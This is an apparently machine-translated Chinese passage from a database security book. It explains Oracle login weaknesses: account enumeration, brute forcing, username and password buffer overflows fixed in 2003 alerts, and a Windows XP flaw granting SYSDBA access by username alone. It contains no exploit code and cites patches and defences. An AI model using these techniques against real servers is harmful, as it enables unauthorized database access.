用户名和密码暴力破解 如前所述,当用户尝试向数据库服务器进行身份验证时,它将发出一个挑战-用来加密密码的会话密钥。仅当帐户实际存在时才会发生,因此可以枚举数据库服务器中的帐户。例如,假设我们要确定是否存在一个名为“ HELPDESK”的帐户。为此,我们可以简单地尝试登录服务器-如果服务器向您提出挑战,则该帐户存在。如果未发出质询,则该帐户不存在。尽管这只是一个信息问题,但它泄漏了足够的信息,从而使攻击者知道该帐户是否存在,从而使对SYS和SYSTEM以外的帐户的暴力登录尝试更加可行。可以通过帐户锁定和确保使用强密码来击败暴力登录尝试-有关如何启用此功能的更多信息,请参见数据库黑客手册中的“保护Oracle”一章。在使用优化的蛮力工具进行的实验室测试中,可以执行c。每秒10次登录尝试。
长用户名缓冲区溢出 2003年2月,Mark Litchfield发现,所有OS上的所有版本的Oracle(9iR2和更早版本)在身份验证过程中都容易受到缓冲区溢出漏洞的攻击。通过在登录时传递一个过长的用户名,该用户名被复制到一个基于堆栈的缓冲区中,该缓冲区溢出,从而覆盖关键的程序控制信息。利用此漏洞,攻击者可以完全控制数据库服务器。 Oracle提供了针对此问题的补丁程序,但仍然很普遍,在那里找到容易受到此类攻击的未打补丁的系统。我听说过一个有关此漏洞的故事,但它可能是那些城市传奇之一。显然,一位Oracle副总裁对他们的代码可能包含这样的错误并为开发人员所用而感到愤怒,要求知道谁负责。他悄悄地得知自己是:漏洞隐藏得很久了,直到VP在Oracle还是一名初级程序员时才编写代码。此溢出已在警报51中修复。
在Mark Litchfield发现用户名缓冲区溢出的同一年,在Oracle XML数据库的身份验证过程中发现了更多的溢出。 XML数据库通过TCP端口2100上的FTP和端口8080上的HTTP提供服务。两者都容易受到过长的用户名缓冲区溢出和过长的密码缓冲区溢出的影响。 XML数据库中的这些问题和其他问题是在Blackhat Security Briefings上进行的有关Linux与Windows漏洞利用技术之间的区别的演讲的基础。可以在www.ngssoftware.com/papers/exploitvariation.pdf上找到本文的副本。这些缺陷的补丁程序于2003年8月18日在Alert 58中发布。
Windows XP上有关Oracle的说明 如果将Oracle安装在Windows XP上(例如,开发人员的工具箱),则如果用户是ORA_DBA本地组的成员,则他们可以作为SYSDBA连接到数据库服务器,而无需提供SYS用户的密码。在处理这种登录时,Oracle使用NTLM SSPI AcceptSecurityContext()函数。如果用户提供了正确的用户名和密码,则此函数返回0并创建一个令牌。这样做的问题是,如果启用了简单文件共享,则所有登录尝试均会成功-该用户将被验证为来宾用户。但是,就Oracle而言,认证原则不是“来宾”,而是远程用户认证时作为用户名提供的任何内容。如果他们提供的用户名是ORA_DBA组中有效用户的名称,则Oracle对用户进行身份验证并授予他们SYSDBA访问权限-真诚地假设远程用户必须具有正确的密码,例如AcceptSecurity。 Context()“说”它们已成功通过身份验证。攻击者所需要做的就是发现ORA_DBA组成员的名称,并在自己的系统上创建一个具有相同名称的用户。由于密码无关紧要,因此攻击者可以以SYSDBA的身份访问Oracle服务器。